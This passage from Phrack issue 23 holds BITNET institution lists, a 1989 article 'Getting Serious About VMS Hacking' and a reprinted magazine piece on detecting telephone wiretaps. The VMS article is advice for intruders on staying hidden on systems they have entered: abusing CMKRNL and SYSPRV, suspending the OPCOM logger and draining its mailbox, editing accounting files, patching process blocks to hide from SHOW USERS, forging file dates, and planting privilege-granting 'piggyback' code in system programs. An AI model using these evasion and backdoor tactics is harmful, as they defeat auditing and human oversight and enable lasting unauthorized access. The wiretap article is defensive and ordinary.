University of North Carolina Gen Ad Cntrl Of‑Ed Cmptg Srvs University of North Florida

University of North Texas

University of Notre Dame

University of Oklahoma Norman Campus

University of Oregon

University of Pennsylvania

University of Pittsburgh

University of Puerto Rico

University of Rhode Island

University of Richmond

University of Rochester

University of Scranton

University of South Alabama

University of South Carolina

University of Southern California

University of Southern Mississippi

University of Tennessee

University of Tennessee at Chattanooga

University of Tennessee at Knoxville

University of Tennessee at Memphis

University of Texas at Arlington

University of Texas at Austin

University of Texas at Dallas

University of Texas at El Paso

University of Texas at Houston

University of Texas at San Antonio

University of Texas Health Science Center at San Antonio University of Texas Medical Branch at Galveston University of Texas Southwestern Medical Center at Dallas University of Texas System

University of the District of Columbia

University of Toledo

University of Tulsa

University of Utah

University of Vermont

University of Virginia

University of Washington

University of West Florida

University of Wisconisn ‑ La Crosse

University of Wisconsin ‑ Oshkosh

University of Wisconsin ‑ Stout

University of Wisconsin Eau Claire

University of Wisconsin Madison

University of Wisconsin Milwaukee

University of Wyoming

Utah State University

Valparaiso University

Vanderbilt University

Vassar College

Villanova University

Virginia Commonwealth University

Virginia Community College System

Virginia Polytechnic Institute and State University

Washington State University

Washington University

Wayne State University

Wesleyan University

West Chester University of Pennsylvania

West Virginia Network for Educational Telecomputing Western Washington University

Wichita State University

Williams College

Worcester Polytechnic Institute

Wright State University

Xavier University

Yale University

Youngstown State University

Future Trancendent Saga Index B from the Bitnet Services Library

==Phrack Inc.==

Volume Two, Issue 23, File 7 of 12

<><><><><><><><><><><><><><><

<>

<> UTOPIA Index File 2 <>

<>

<> BITNET Member Institutions <>

<>

<> December 1988 <>

<>

<><><><><><><><><><><><><><><

AK University of Alaska

AL Auburn University

Samford University

University of Alabama

University of Alabama at Birmingham University of South Alabama

AR University of Arkansas

University of Arkansas at Little Rock University of Arkansas for Medical Sciences

AZ Arizona State University

Maricopa County Community College District Northern Arizona University

University of Arizona

CA California Institute of Technology California Polytechnic State University‑San Luis Obispo California State University

Claremont Graduate School

Electric Power Research Institute

Harvey Mudd College

IBM Almaden Research Center

Lawrence Berkeley Laboratory

Naval Postgraduate School

Pepperdine University

Pomona College

Research Libraries Group

Salk Institute

San Diego Supercomputer Center

Santa Clara University

Stanford Linear Accelerator Center Stanford Synchrotron Radiation Laboratory Stanford University

University of California

University of California Berkeley University of California Davis University of California Irvine University of California Los Angeles University of California Riverside University of California San Diego University of California San Francisco University of California Santa Barbara University of California Santa Cruz University of Southern California

CO Colorado School of Mines

Colorado State University

National Center for Atmospheric Research University of Colorado at Boulder University of Colorado at Colorado Springs University of Colorado at Denver University of Colorado Health Sciences Center University of Denver

CT Connecticut College

Connecticut State University System Trinity College

University of Connecticut

University of Hartford

Wesleyan University

Yale University

DC American University

Catholic University of America

Food and Drug Administration

Gallaudet University

George Washington University

Georgetown University

Georgetown University Medical Center Howard University

National Academy of Sciences

National Science Foundation

Smithsonian Institution

The World Bank

University of the District of Columbia

DE University of Delaware

FL Florida Central Regional Data Center Florida Northeast Regional Data Center Florida State University

Southeast Regional Data Center/FIU University of Central Florida

University of Florida

University of North Florida

University of West Florida

GA Emory University

Georgia Institute of Technology

Georgia State University

University of Georgia Athens

HI The Center for Cultural & Tech Exchange Btwn East and West University of Hawaii

IA Drake University

Grinnell College

Iowa State University

University of Iowa

ID Boise State University

University of Idaho

IL Argonne National Laboratory

College of DuPage

De Paul University

Educational Computing Network of Illinois Fermi National Accelerator Laboratory Illinois Institute of Technology

Loyola University of Chicago

Northern Illinois University Northwestern University

Southern Illinois University

Southern Illinois University at Edwardsville University of Chicago

University of Illinois at Urbana‑Champaign University of Illinois Chicago

IN Ball State University

Indiana State University

Indiana University

Indiana University/Purdue University at Indianapolis Purdue University

Rose‑Hulman Institute of Technology University of Notre Dame

Valparaiso University

KS Kansas State University

University of Kansas

University of Kansas Medical Center Wichita State University

KY Transylvania University

University of Kentucky

University of Louisville

LA Louisiana State University

Louisiana State University Medical Center Tulane University

University of New Orleans

MA Amherst College

Babson College

Bentley College

Boston College

Boston University

Brandeis University

Clark University

College of the Holy Cross

Hampshire College

Harvard University

IBM VNET Gateway

Massachusetts Institute of Technology Mount Holyoke College

Northeastern University

Regents Computer Network

Smith College

Southeastern Massachusetts University Tufts University

University of Massachusetts at Amherst University of Massachusetts at Boston Williams College

Worcester Polytechnic Institute

MD American Assoc of State Colleges Univs (AASCU) Meeting Biotechnology Research Center Catonsville Community College

Johns Hopkins University

Loyola College

Montgomery College

National Aeronautics and Space Administration National Bureau of Standards

National Institutes of Health

Naval Health Sciences Education and Training Command Space Telescope Science Institute

Towson State University

Uniformed Services University of the Health Sciences University of Maryland

ME Bowdoin College

The Jackson Laboratory

University of Maine

MI Albion College

Central Michigan University

Macomb Community College

Merit Computer Network

Michigan State University

Michigan Technological University Oakland Community College

University of Michigan

Wayne State University

MN Control Data Corporation

Gustavus Adolphus College

Macalester College

State University System of Minnesota System Office University of Minnesota

University of Minnesota at Morris University of Minnesota Duluth

MO Northeast Missouri State University Saint Louis University

Southwest Missouri State University University of Missouri

Washington University

MS Mississippi State University

University of Mississippi

University of Southern Mississippi

MT Montana State University

NC Appalachian State University

Davidson College

Duke University

East Carolina University

National Institute of Environmental Health Sciences North Carolina State University

Triangle Universities Computation Center Triangle Universities Nuclear Laboratory United States Environmental Protection Agency University of North Carolina at Chapel Hill University of North Carolina at Charlotte University of North Carolina at Greensboro University of North Carolina Gen Ad Cntrl Off Ed Comptng Srvs

ND North Dakota Higher Education Computer Network

NE University of Nebraska ‑ Omaha

University of Nebraska Computer Services Network University of Nebraska Lincoln

University of Nebraska Medical Center

NH Dartmouth College

University of New Hampshire

NJ BITNET Network Information Center

Drew University

Educational Testing Service

EDUCOM

Exxon Research and Engineering Company Institute for Advanced Study

Jersey City State College

John Von Neumann Center

New Jersey Educational Computer Network New Jersey Institute of Technology Princeton University

Rutgers University

Saint Peter's College

Seton Hall University

Stevens Institute of Technology

Trenton State College

University of Medicine & Dentistry of New Jersey

NM Los Alamos National Laboratory

New Mexico State University

University of New Mexico

NV University of Nevada

NY American Institute of Physics

American Physical Society

Association for Computing Machinery BITNET‑Internet Gateway

Brookhaven National Laboratory

Canisius College

City University of New York CUNY

Clarkson University

Cold Spring Harbor Laboratory

Colgate University

Columbia University

Columbia University Teachers College Cornell University

Fordham University

General Electric Corporate Research & Development Hofstra University

IBM Watson Scientific Research Center Yorktown Iona College

Ithaca College

Le Moyne College

Long Island University

Manhattan College

Marist College

NASA Goddard Institute for Space Studies New York State College of Ceramics at Alfred University New York University

Pace University Pleasantville‑Briarcliff Campus Polytechnic University

Pratt Institute

Rensselaer Polytechnic Institute Rochester Institute of Technology Rockefeller University

Skidmore College

St. Lawrence University

State University of New York Ag and Tech College at Canton State University of New York Ag and Tech College at Farmingdale State University of New York at Albany State University of New York at Binghamton State University of New York at Buffalo State University of New York at Stony Brook State University of New York Central Administration State University of New York College at Brockport State University of New York College at Buffalo State University of New York College at Cortland State University of New York College at Fredonia State University of New York College at Geneseo State University of New York College at New Paltz State University of New York College at Old Westbury State University of New York College at Oneonta State University of New York College at Oswego State University of New York College at Plattsburgh State University of New York College at Potsdam State University of New York College of Technology at Alfred State University of New York College of Technology at Delhi State U of New York Health Science Center at Brooklyn Syracuse University

Union College

University of Rochester

Vassar College

OH Bowling Green State University

Case Western Reserve University

Chemical Abstracts Service

Cleveland State University

Denison University

John Carroll University

Kent State University

Medical College of Ohio

Miami University

Oberlin College

Ohio State University

Ohio University

Ohio Wesleyan University

Online Computer Library Center (OCLC) University of Akron

University of Cincinnati

University of Dayton

University of Toledo

Wright State University

Xavier University

Youngstown State University

OK Oklahoma State University

University of Oklahoma Norman Campus University of Tulsa

OR Lewis and Clark College

Oregon State University

Portland State University

Reed College

Shriners Hospital for Crippled Children University of Oregon

PA Allegheny College

Annenberg Research Institute

Bryn Mawr College

Bucknell University

Carnegie Mellon University

Dickinson College

Drexel University

Franklin and Marshall College

Gettysburg College

Haverford College

Indiana University of Pennsylvania Lafayette College

Lehigh University

Millersville University of Pennsylvania Pennsylvania State University

Rohm and Haas Company

Swarthmore College

Temple University

University of Pennsylvania

University of Pittsburgh

University of Scranton

Villanova University

West Chester University of Pennsylvania

PR National Astronomy and Ionosphere Center University of Puerto Rico

RI Brown University

University of Rhode Island

SC Clemson University

Medical University of South Carolina

The Citadel, The Military College of South Carolina University of South Carolina

SD Dakota State College

South Dakota State University

TN East Tennessee State University

Oak Ridge National Laboratory

Rhodes College

Tennessee Technological University University of Tennessee

University of Tennessee at Chattanooga University of Tennessee at Knoxville University of Tennessee at Memphis Vanderbilt University

TX Abilene Christian University

Baylor University

Pan American University

Rice University

Saint Mary's University of San Antonio

Sam Houston State University

Southern Methodist University

Southwest Texas State University

Stephen F. Austin State University

Tarleton State University

Texas A&M University

Texas Christian University

Texas Tech University

Trinity University

University of Houston

University of Houston at Clear Lake University of North Texas

University of Texas at Arlington

University of Texas at Austin

University of Texas at Dallas

University of Texas at El Paso

University of Texas at Houston

University of Texas at San Antonio University of Texas Health Science Center at San Antonio University of Texas Medical Branch at Galveston University of Texas Southwestern Medical Center at Dallas University of Texas System

UT Brigham Young University

University of Utah

Utah State University

VA College of William and Mary

Continuous Electron Beam Accelerator Facility George Mason University

James Madison University

National Radio Astronomy Observatory

Old Dominion University

Radford University

United States Geological Survey

University of Richmond

University of Virginia

Virginia Commonwealth University

Virginia Community College System

Virginia Polytechnic Institute and State University

VT Middlebury College

Norwich University

Saint Michael's College

University of Vermont

WA Fred Hutchinson Cancer Research Center Pacific Lutheran University

University of Washington

Washington State University

Western Washington University

WI Lawrence University

Marquette University

Medical College of Wisconsin

University of Wisconisn ‑ La Crosse University of Wisconsin ‑ Oshkosh University of Wisconsin ‑ Stout

University of Wisconsin Eau Claire University of Wisconsin Madison

University of Wisconsin Milwaukee

WV Marshall University

West Virginia Network for Educational Telecomputing

WY University of Wyoming

Getting Serious About VMS Hacking

==Phrack Inc.==

Volume Two, Issue 23, File 8 of 12

___________________

|

| Getting Serious About VMS Hacking |

|

| by VAXbusters International |

|

| January 1989 |

|___________________

The VAX/VMS operating system is said to be one of the most secure systems currently available. It has been massively extended in the past to provide features which can help system managers getting their machines locked up to abusers and to trace back any attempts to indiscriminate system security. As such, it is not easy getting into VMS machines now without having insider information, and it's even harder to stay in.

The following article describes some of the internals which make up the VMS security features, and tries to give hints what to do to remain undiscovered. The reader should be familiar with the VMS system from the programmer's point of view.

Some of the things mentioned are closely related to the internal workings of the VAX/VMS operating system. All descriptions are held as general as possible. It is tried to point out where weak points in the system are located, not to give step‑by‑step instructions on how to hack VMS machines. The main reason for this is, that it is very hard to remain undiscovered in a VMS system without having good knowledge of the whole system. This knowledge is only aquirable by experience.

To use some of the techniques described herein, some literature is recommended:

"The VAX Architecture Handbook," published by DEC. This book describes the VAX processor, it's instruction set and it's hardware. It is a good book to have on your desk, since it costs nothing (just go to your local DEC store and ask for it) and is only in paperback format.

"MACRO and Instruction Set," part of the VMS documentation kit. This is needed only if you want to program bigger things in MACRO. It's recommended reading, but you don't need to have it on your own normally.

"VAX/VMS Internals and Data Structures" by L.Kenah and S.Bate. This is the bible for VMS hackers. It describes the inner workings of the system as well as most of the data structures used within the kernel. The Version published always is one version number behind the current VMS release, but as the VAX architecture doesn't change, it is the best source on a description how the system works. After you've read and understood this book, the VAX won't look more mysterious than your C64. You can order this book from DEC, the order number for the V3.0 version of the book is EY‑00014‑DP. The major drawback is the price, which is around $70‑$100.

A good source of information naturally is the source code of the VMS system. The easiest way to snoop around in it is to get the microfiche set, which is delivered by DEC to all bigger customers of the system. The major disadvantage is that you need a fiche reader to use it. The fiche is needed if modifications to the system code are intended, unless you plan to disassemble everything you need. The VMS system is written in BLISS‑32 and FORTRAN. BLISS is quite readable, but it might be worthwhile having a FORTRAN hacker around if you intend to do patch any of the programs implemented in FORTRAN. The source fiche always contains the current release, so it's useful to check if the information in "Internals and Data Structures" is still valid.

Hacker's Tools

~~~~~~~~~~~~~~

There are several programs which are useful when snooping around on a VMS system.

The most important utility might be the System Dump Analyzer (SDA), which is started with the command ANALYZE/SYSTEM. Originally, SDA was developed to analyze system crash dumps, which are created every time the machine crashes in a 'controlled' manner (bugcheck or opcrash). SDA can also be used to analyze the running system, which is the more useful function. A process which wants to run SDA needs the CMKRNL privilege. With SDA, you can examine any process and find out about accessed files and devices, contents of virtual memory (like typeahead and recall buffers), process status and more. SDA is a watching tool, so you normally can't destroy anything with it.

Another helpful tool is the PATCH utility, called up by the command PATCH. As VMS is distributed in a binary‑only fashion, system updates are normally distributed as patches to binaries. PATCHES can be entered as assembler statements directly. Combined with the source fiche, PATCH is a powerful tool for your modifications and improvements to the VMS operating system.

Privileges

~~~~~~~~~~

To do interesting things on the VMS system, you normally need privileges. The following lists describes some of the privileges which are useful in the onliner's daily life.

CMKRNL

CMEXEC These two privileges enable a user to execute arbitrary routines with KERNEL and EXECUTIVE access mode. These privileges are needed when one plans to access kernel data structures directly. CMKRNL is the most powerful privilege available, everything which is protected can be accessed utilizing it.

SYSPRV A process which holds this privilege can access objects via the system protection. A process holding the this privilege has the same access rights as a process running under a system UIC.

SHARE This allows a process to assign channels to nonshareable devices which already have channels assigned to them. This can be used to prevent terminal hangups and to assign channels to system mailboxes.

Process States And The Process Control Block

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

When you get into kernel hacking, you should pay special attention to the field PCB$L_STS. This field tells about the process status. Interesting bits are PCB$V_DELPEN, PCB$V_NOACNT and PCB$V_BATCH. There can be achieved astonishing effects by setting these bits.

Hideout

~~~~~~~

A nice possibility to have is to be unseen by a system manager. There are many ways to get invisible to SHOW USERS, but hiding from SHOW SYSTEM is another story, as it doesn't even use standard system calls to get a list of the currently running processes. And in fact, hiding from SDA is even harder, since it directly peeks kernel data structures. Anyway, being invisible to SHOW USERS is useful on small systems, where one user more could ring the alarm bell of the system operator.

One possibility to do this is to become a subprocess of some non‑interactive job (like a BATCH or NETWORK process). The other way is to patch the PCB to become a BATCH process or to delete the terminal name (which makes SHOW USERS think you are non‑interactive as well). Patching the PCB has a disadvantage: The system global variable SYS$GW_IJOBCNT which contains the number of interactive users must be directly decremented before you hide, and MUST be incremented before you log out.

If you forget this, the interactive job count will be wrong. If it becomes negative, strange effects will show up, which will confuse every system manager.

Accounting And Audits

~~~~~~~~~~~~~~~~~~~~~

The most nasty thing about VMS since release 4.2 is the security auditing feature. It enables the system manager to log almost every security relevant event he desires. For example, access to files, login failures and modification user authorization data base can all be monitored, logged and written to the system printer. The first thing to find out in a new, unknown system is the awareness of the system management. The status of the accounting system is easily determinable by the command SHOW ACCOUNTING. Normally, everything except IMAGE accounting is enabled. When IMAGE accounting is also enabled, this is the first hint to be careful. The second thing to check out is the status of the security auditing system. You need the SECURITY privilege to execute the command SHOW AUDIT.

If no audits are enabled, and image accounting is not turned on, the system normally is not set up to be especially secure. Such systems are the right playground for a system hacker, since one doesn't have to be as careful as one has to be on a correctly managed system.

Accounting

~~~~~~~~~~

The main intention for running accounting on a system is the need to charge users for resources (cpu time, printer usage etc.) they use on the machine. On the other hand, accounting can be very useful to track down invaders. Luckily, accounting information is being logged in the normal file system, and as such one can edit out information which isn't supposed to be seen by sneaky eyes. The most important utility to handle accounting files is, naturally, the ACCOUNTING utility. It has options to collect information which is stored in accounting files, print it in a human readable manner, and, most importantly, edit accounting files. That is, you can edit all information out of an accounting file which you don't want to appear in reports anymore. The important qualifier to the ACCOUNTING command is /BINARY.

File Access Dates

~~~~~~~~~~~~~~~~~

One way for system managers to discover unwanted guests is to look out for modified system files. Fortunately, there are ways to modify the modification dates in a file's header. This can be done with RMS system calls, but there is no easy way to do that with pure DCL. There are several utilities to do this kind of things in the public domain, so look out in the DECUS catalog.

OPCOM

~~~~~

OPCOM is a process which logs system and security relevant events (like tape and disk mount transactions, security auditing messages etc.). OPCOM receives messages via a mailbox device, formats them, logs the event in the operator logfile (SYS$MANAGER:OPERATOR.LOG) and notifies all operators. Additionally, it sends all messages to it's standard output, which normally is the system console device _OPA0:. When OPCOM is started, one message is sent to the standard output announcing that the operator logfile has been initialized. Thus, it's not recommended to kill OPCOM to remain undiscovered, since the system manager most likely will get suspicious if the operator logfile has been initialized without an obvious reason. The elegant solution to suspend OPCOM, for the time where no operator messages shall come through. While OPCOM is suspended, all messages will be buffered in the mailbox device, where every process with sufficient privilege can read them out, thus avoiding that OPCOM reads those messages after it is restarted.

There is one problem with this solution though: OPCOM always has a read pending on that mailbox, and this read will be there even if the OPCOM process is suspended. Unless you're heavily into kernel hacking, there is no way to get rid of this read request. As such, the easy solution is to generate an unsuspicious operator message as soon as OPCOM is suspended. Afterwards, your own process (which can be a DCL procedure) reads all subsequent messages off the OPCOM mailbox until you feel save enough to have OPCOM resume it's work. By the way, the OPCOM message mailbox is temporary and has no logical name assigned to it. You'll need SDA to get information about the device name.

Command Procedures

~~~~~~~~~~~~~~~~~~

Timely, you'll need DCL procedures to have some routine work done automatically. It is important not to have strange command procedures lying around on a foreign system, since they can be easily read by system managers. Fortunately, a command file may be deleted while someone is executing it. It is good practice to do so, utilizing the lexical function F$ENVIRONMENT. If you need access to the command file itself from the running procedure, just assign a channel to it with OPEN.

Piggy‑Backing

~~~~~~~~~~~~~

It's not normally a good idea to add new, possibly privileged accounts to a foreign system. The better approach is to to use accounts which have been unused for some months and to hide privileged programs or piggybacks which gain privilege to the caller by some mechanism. A piggyback is a piece of code which is added to a privileged system program, and which gives privileges and/or special capabilities to callers which have some kind of speciality (like a special process name, for example). Be careful not to change file sizes and dates, since this makes people suspicious.

Conclusion

~~~~~~~~~~

This file just tries to give an impression how interesting VMS kernel hacking can be, and what possibilities there are. It of course is not complete, and many details have been left out. Hopefully, it has been useful and/or interesting lecture.

(C)opyright 1989 by the VAXBusters International. You may give around this work as long as you don't pretend you wrote it.

Can You Find Out If Your Telephone Is Tapped?

==Phrack Inc.==

Volume Two, Issue 23, File 9 of 12

<?><><><><><><><><><><><><><>

<|>

<|> Can You Find Out If Your Telephone Is Tapped? <|>

<|> by Fred P. Graham <|>

<|>

<|> "It Depends On Who You Ask" <|>

<|>

<|> Transcribed by VaxCat <|>

<|>

<|> December 30, 1988 <|>

<|>

<?><><><><><><><><><><><><><>

Unlike most Americans, who suspect it, Sarah Bartlett at least knows she was overheard by an F.B.I. wiretap in the computer room of the Internal Revenue Service Building in Washington, across the street from the Justice Department. On April 25, as she sat at her card‑punch machine, the postman handed her a registered letter containing a document known in police circles as a "wiretap notice." It told her that the Government had been given permission to intercept wire communications "to and from" two Washington telephones for a period of fifteen days after January 13, and that during this period her own voice had been heard talking to the parties on those phones. Miss Bartlett said nothing to the other girls in the computer room, but she must have been stunned. A few weeks later, federal agents came to the computer room and took her away, to face a variety of charges that amounted to being a runner for a numbers game.

There are no figures to disclose how many Americans have received such wiretap messages, and few people who have gotten them have spoken out. But the number could be over 50,000 by now. When Congress enacted the requirement in 1968 that notice of wiretap be given, it intended to sweep away the growing sense of national paranoia about electronic snoopery. But there seems to be an unabated national suspicion that almost everybody who is anybody is being tapped or bugged by somebody else. Herman Schwartz, a Buffalo, New York, law professor who is the American Civil Liberties Union's expert on Governmental eavesdropping, estimates that since 1968 between 150,000 and 250,000 Americans have been overheard by the Big Ear of the Federal Government or local police. "If you have anything to do with gambling or drugs, or if you're a public official involved in any hanky‑panky and if you're a Democrat, or if you or your friends are involved in radical politics or black activism, you've probably been bugged," Professor Schwartz says.

Henry Kissinger wisecracks to friends that he won't have to write his memoirs, he'll just publish the F.B.I.'s transcripts of his telephone calls. Richard G. Kleindienst has had his Justice Department office "swept." Secretary of State William P. Rogers once shied away from discussing China policy over a liberal newspaper columnist's line. High‑ranking officials in New York, Washington and Albany have been notified by the New York District Attorney's office that they may become targets of blackmailers because their visits to a swanky Manhattan whorehouse were recorded on hidden bugs. The technician who regularly sweeps the office of Maryland Governor Marvin Mandel, checking the Civil Defense hot‑line telephone he had been instructed not to touch, recently found it was wired to bug the room while resting on the hook. Democratic officials waxed indignant over the five characters with Republican connections who were caught attempting to bug the Democratic National Committee headquarters in the Watergate hotel, but when they had earlier found less conclusive proof of the same kind of activity, they let it pass without public comment. The Omnibus Crime Control Act of 1968 makes it a crime, punishable by five years in jail and a $10,000 fine, to eavesdrop on a telephone call or a private conversation without a court order. Only federal law‑enforcement officials and local prosecutors in states that have adopted similar wiretap legislation can get court permission to wiretap, and the law requires that within ninety days after a listening device is unplugged, wiretap notices must be sent to everyone whose phones or premises were bugged, plus anyone else (like Sarah Bartlett) who was overheard and might later be prosecuted because of it.

However, because of some private investigators and snoopy individuals nobody knows how many are ignoring the law against eavesdropping and getting away with it, and because none of the rules governing court‑approved wiretapping in ordinary criminal investigations applies to the Federal Government's warrantless wiretapping in the name of "national security," no one can be certain his phone is safe. Before the Supreme Court ruled, 8 to 0, last June that the Government must get warrants for its wiretapping of domestic radicals in national‑security cases, the F.B.I. wiretapped both homegrown and foreign "subversives" without court orders. The best estimates were that this accounted for between 54,000 and 162,000 of the 150,000 to 250,000 people who were overheard since 1968.

With warrantless wiretapping of domestic radicals now outlawed, the number of persons overheard on warrantless devices is expected to be reduced by about one fourth. But even with the courts requiring that more Government bugging be reported to the victims, paranoia is fed by improved technology. Bugging has now developed to the point that it is extremely difficult to detect, and even harder to trace to the eavesdropper. The hottest item these days is the telephone "hook‑switch bypass," which circumvents the cutoff switch on a phone and turns it into a sensitive bug, soaking up all the sounds in the room while the telephone is sitting on its cradle. In its most simple form, a little colored wire is added to the jumble of wires inside a telephone and it is about as easy to detect as an additional strand in a plate of spaghetti. Even if it is found, the eavesdropper probably won't be. A check of the telephone line would most likely turn up a tiny transmitter in a terminal box elsewhere in the building or somewhere down the street on a pole. This would probably be broadcasting to a voice‑activated tape recorder locked in the trunk of a car parked somewhere in the neighborhood. It would be impossible to tell which one it was.

My wife happened to learn about this at the time last year when The New York Times locked horns with the Justice Department over the Pentagon Papers, and I was covering the story for The Times. She became convinced that John Mitchell would stop at nothing and that the telephone in our bedroom was hot as a poker. After that, whenever a wifely chewing‑out or amorous doings were brewing, I was always forewarned. If anything was about to happen in the bedroom too sensitive for the outside world to hear, my wife would first rise from the bed, cross the room, and ceremoniously unplug the telephone. "When someone finds out somebody else learned something they didn't want them to know, they usually jump to the conclusion they've been bugged," says Allan D. Bell Jr., president of Dektor Counterintelligence and Security Inc., in Springfield, Virginia, outside Washington. "If they thought about it, there was probably some other, easier way it got out."

Bell's point is that most people get information in the easiest, cheapest and most legal way, and that the person whose secrets have been compromised should consider first if he's thrown away carbons, left his files unlocked, hired a secretary who could be bribed, or just talked too much. There's an important exception, however, that many people don't know about. A party to a conversation can secretly record it, without violating any law. A person on one end of a telephone call can quietly record the conversation (the old legal requirement of a periodic warning beep is gone). Also, one party to a face‑to‑face conversation can secret a hidden recorder in his clothing. James R. Robinson, the Justice Department lawyer in charge of prosecuting those who get caught violating the anti‑bugging law, insists that it is relatively rarely broken. He debunks the notion that most private eavesdropping is done in the executive suites of big business. Sex, not corporate intrigue, is behind ninety percent of the complaints he gets. After giving the snoopy spouse or lover a good scare, the Government doesn't even bother to prosecute do‑it‑yourself wiretappers. If a private investigator did the bugging, they throw the book at him.

Cost is the reason why experts insist there's less wiretapping than most people think. Private investigators who use electronic surveillance don't quote their prices these days, but people in the de‑bugging business say the cost can range from $10,000 per month for a first‑rate industrial job to $150 per day for the average private detective.

High costs also limit Government wiretapping. Last year the average F.B.I. tap cost $600 per day, including installing the device, leasing telephone lines to connect the bugs to F.B.I. offices, monitoring the conversations and typing the transcripts. Considering the informative quality of most persons' conversations, it isn't worth it. Court records of the F.B.I.'s surveillances have demonstrated that when unguarded conversations are recorded, the result is most likely to be a transcript that is uninformative, inane or incomprehensible.

The folklore of what to do to thwart electronic surveillance is almost uniformly misguided or wrong. Robert F. Kennedy, when he was Senator, was said to have startled a visitor by springing into the air and banging his heels down onto his office floor. He explained this was to jar loose any bug J. Edgar Hoover might have planted. Whether he was teasing or not, experts say it wouldn't have done anything except bruise Senator Kennedy's heels. Former Senator Ralph Yarborough of Texas used to complain that, as each election season approached, the reception in his office phone would fade as the current was sapped by the multiple wiretaps installed by his political enemies. Those people who think poor reception and clicking on the line are due to wiretapping are giving wiretappers less credit and AT&T more, than either deserves. Present‑day wiretaps are frequently powered by their own batteries, or they drain so little current that the larger normal power fluctuations make them undetectable, even with sensitive current meters.

Clicks on the line can be caused by loose connections in the phone, cables, or central office equipment, wet cables, defective switches in the central office, and power surges when batteries in the central office are charged. A sophisticated wiretap records conversations on a machine that turns itself silently on and off as you speak. The tap is designed to work without extraneous noises; your telephone isn't. If things you say in private or on the telephone seem to be coming back to you from unlikely sources, your first step should be to make a careful check of the room or rooms that might be bugged.

If the Federal Government is doing the eavesdropping, neither you nor any but the most experienced antibugging experts will detect it. Nobody has discovered a Justice Department wiretap for years, because the telephone company itself often taps the line and connects it to an FBI listening post. FBI bugs have become so sophisticated that the normal sweep techniques won't detect them, either. But the kind of eavesdropping that is being done by many private investigators is often so crude that even another amateur can find it. Room bugs come in two types: tiny microphones that send their interceptions to the outside by wire, and little radio transmitters that radio their overhearings to the outside.

Both are likely to be installed in electrical fixtures, because their power can be borrowed, their wires can be used to transmit the conversations to the listening post, and the fixtures' electrical innards serve as camouflage for the electric bugs. Your telephone has all these attributes, plus three built‑in amplifiers the eavesdropper can borrow. You should first remove the plastic cover from your telephone's body and check inside for a wire of odd size or shape that seems to cut across the normal flow of the circuits. A bug or radio transmitter that feeds on your telephone's power and amplifiers will be a thimble‑sized cylinder or cube, usually encased in black epoxy and wired into the circuit terminals.

Also check for the same devices along the telephone lines in the room or in the jack or box where the phone is attached to the baseboard. You should also unscrew the mouthpiece and earpiece to check for suspicious wires or objects. Even an expert would not detect a new item that's being sold illegally, a bugged mouthpiece that looks just like the one now in your telephone, and which can be switched with yours in a few seconds. After the phone check, look for suspicious little black forms wired into television sets, radios, lamps and clocks.

Also check heating and air‑conditioning ducts for mikes with wires running back into the ducts. Radio transmitter bugs that have their own batteries can be quickly installed, but they can also be easier to find. Check under tables and chairs, and between sofa cushions. Remember they need to be near the point of likely conversations to assure good reception. Sometimes radio bugs are so cleverly concealed they are almost impossible to detect. A German manufacturer advertises bugged fountain pens that actually write, table cigarette lighters that actually light, and briefcases that actually carry briefs.

Noting that the owner of such items can absent himself from delicate negotiations and leave his electronic ear behind, the company observes that "obviously, a microphone of this type opens untold opportunities during conferences, negotiations, talks, etc." If you suspect that your telephone has been tapped and your own visual inspection shows nothing, you can request the telephone company to check the line. The American Telephone and Telegraph Company estimates it gets about ten thousand requests from customers per year to check out their lines. These checks, plus routine repair service, turn up evidence of about two hundred fifty listening devices each year. When evidence of a tap is found, the company checks with the FBI and with local police in states where the laws permit police wiretapping with court orders. Until recently, if the tap was a court‑approved job, the subscriber was assured that "no illegal device" was on the line. This proved so unsettling to the persons who requested the checks that now the telephone company says it tells all subscribers about any taps found. If this includes premature tidings of a court‑approved FBI tap, that's a hassle that AT&T is content to leave to the Government and its suspect.

For those who have done the above and are still suspicious, the next step up in defensive measures is to employ an expert to de‑bug your premises. A thorough job involves a minute inspection of the premises, including X‑ray pictures of desk ornaments and other items that might contain hidden radio transmitters, the use of metal detectors to search out hidden microphones, checks of the electrical wiring for signs of unusual currents, and the use of a sensitive radio‑wave detector to find any stray transmissions that a hidden bug might be giving out, plus employment of a radio field‑strength meter to locate the bug.

With so much expertise required to do a sound detection job, and with no licensing requirements in most states to bar anybody from clapping on earphones and proclaiming himself an expert de‑bugger, it is not surprising that the field abounds with quacks. A Pennsylvania construction company that had lost a series of close bids hired a local private detective last year to sweep its boardroom for bugs. The company's security chief, taking a dim view of the outside hotshot, took an ordinary walkie‑talkie, taped its on‑button down for steady transmission, and hid it behind the books on a shelf. He sat in a room down the hall and listened as the detective clumped into the room, swept around with his electronic devices, and pronounced the room clean.

Sometimes bogus de‑buggers will give clients something extra for their money by planting a device and finding it during their sweep. One "expert" tried this twice in Las Vegas with organized‑crime figures, who later compared notes and concluded they'd been taken. "Boy, was he sorry," chortled the Justice Department attorney who related the story. If you nevertheless want to have your place swept, things are complicated by the telephone company's ban on advertising by de‑buggers.

As the Missouri Public Service Commission put it when it upheld the telephone company's refusal to include "de‑bugging" in a detective's yellow‑page ad, "advertising the ability to detect and remove electrical devices was, in fact, also advertising the ability to place those same devices. Anyone can be pretty certain of a reliable job by trying one of the major national detective agencies, Burns, Pinkerton or Wackenhut. They charge $40 to $60 per man‑hour, for a job that will probably take two men a half day at least. They specialize in industrial work and shy away from domestic‑relations matters. So if that's your problem, ask a lawyer or police official which private investigator in town is the most reliable de‑bugger around.

It may seem too obvious to bear mentioning, but don't discuss your suspicions about eavesdropping in the presence of the suspected bug. W. R. Moseley, director of the Burns agency's investigations operations, say in probably a majority of the cases, a bugging victim tips off the eavesdropper that he's going to call in a de‑bugger, thus giving the eavesdropper an opportunity to cover his tracks.

For the person who wants to have as much privacy as money can buy, the Dektor company is marketing a console about the size of a Manhattan telephone book which, for only $3,500, you can purchase to sit on your office desk and run a constant check on the various things that might be done to your telephone and electric lines to overhear your conversations. It will block out any effort to turn your phone into a bug, will detect any harmonica bug, smother out any telephone tap using a transmitter to broadcast overheard conversations, detect any use of the electric lines for bugging purposes, and give off a frantic beep‑beep! if anyone picks up an extension phone.

